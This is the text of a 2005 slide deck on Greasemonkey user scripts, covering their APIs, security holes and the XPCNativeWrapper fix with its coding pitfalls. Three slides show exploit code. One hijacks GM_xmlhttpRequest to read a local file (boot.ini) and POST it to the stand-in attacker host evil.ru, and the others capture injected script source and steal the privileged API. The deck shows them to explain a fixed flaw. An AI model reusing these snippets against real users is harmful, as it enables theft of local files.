Greasemonkey

Teaching an old web new tricks



Mark Pilgrim

August 5, 2005

Greasemonkey Is User JavaScript

End User Customization

Greasemonkey Is More Than JavaScript

GM_log
logs messages to JavaScript Console
GM_setValue, GM_getValue
store and retrieve local data (not cookies)
GM_registerMenuCommand
adds items to Firefox Tools menu
GM_openInTab
opens a new tab (not window)
GM_xmlhttpRequest
sends or retrieves data from any site, anywhere, at any time

Site Integration

Book Burro
price comparison agent on Amazon, B&N, eBay
Wikipedia Proxy
adds WikiLinks to any page
OmniFeedster
displays incoming links on any page
RIAA Radar
“Passive activism” agent

Security hole #1: source leakage


_scripts = [];
_c = document.getElementsByTagName("script").length;

function trapInsertScript(event) {
    var doc = event.currentTarget;
    var arScripts = doc.getElementsByTagName("script");
    if (arScripts.length > _numPreviousScripts) {
        _scripts.push(arScripts[_c++].innerHTML);
    }
}
document.addEventListener("DOMNodeInserted",
    trapInsertScript, true);

Security hole #2: API leakage


_GM_xmlhttpRequest = null;

function trapGM(prop, oldVal, newVal) {
    _GM_xmlhttpRequest = window.GM_xmlhttpRequest;
    return newVal;
}

window.watch("GM_log", trapGM);

Security hole #3: local file access


_GM_xmlhttpRequest({
  method: "GET",
  url: "file:///c:/boot.ini",
  onload: function(oResponseDetails) {
    _GM_xmlhttpRequest({
      method: "POST",
      url: "http://evil.ru/",
      data: oResponseDetails.responseText
    });
  }
});

Solution part 1: Sandboxing

Solution part 2: XPCNativeWrappers

Downsides to XPCNativeWrappers

Pitfall #1: auto-eval strings

Can’t auto-eval chunks of JavaScript code in strings

Fails:

window.setTimeout("my_func()", 1000);

Works:

window.setTimeout(my_func, 1000);

Pitfall #2: event handlers

Can’t set event handlers directly

Fails:

document.onclick = my_func;

Works:

document.addEventListener("click", my_func, true);

Pitfall #3: named forms

Can’t access named forms or form elements directly

Fails:

<form id="gs">
<input name="q" type="text" value="foo">
</form>

q = document.gs.q.value;

Works:

form = document.forms.namedItem("gs");
input = form.elements.namedItem("q");
q = input.value;

Pitfall #4: expando properties

Can’t set custom “expando” properties directly

Fails:

element.myProperty = "foo";

Works:

element.setAttribute("myProperty", "foo");

Pitfall #5: collections

Can’t iterate collections directly

Fails:

var arInputs = document.getElementsByTagName("input");
for (var elmInput in arInputs) {
  ...
}

Works:

for (var i = 0; i < arInputs.length; i++) {
  var elmInput = arInputs[i];
 ...
}

Pitfall #6: scrollIntoView

Can’t scroll elements into view

Fails:

elm.scrollIntoView();

Works:

realElm = elm.wrappedJSObject || elm;
realElm.scrollIntoView();

Still vulnerable to remote page redefining scrollIntoView method

Pitfall #7: location

Can’t set location directly

Fails:

window.location = "http://example.com/";

Works:

window.location.href = "http://example.com/";

Pitfall #8: calling remote functions

Remote page scripts don’t expect an XPCNativeWrapper

Fails:

var searchForm = getNode("s");
searchForm.elements.namedItem("q").value = 
  this.getRunnableQuery();
top.js._MH_OnSearch(window, 0);

Works:

...
top.js._MH_OnSearch(unsafeWindow, 0);

Pitfall #9: watch

Can’t watch property changes directly

Fails:

window.watch("location", watchLocation);
window.location.watch("href", watchLocation);

Works:

unsafeWindow.watch("location", watchLocation);
unsafeWindow.location.watch("href", watchLocation);

Pitfall #10: style

Can’t set styles in bulk

Fails:

var elm = document.getElementById("foo");
elm.setAttribute("style", "margin:0; padding:0;");

Works:

elm.style.margin = 0;
elm.style.padding = 0;

References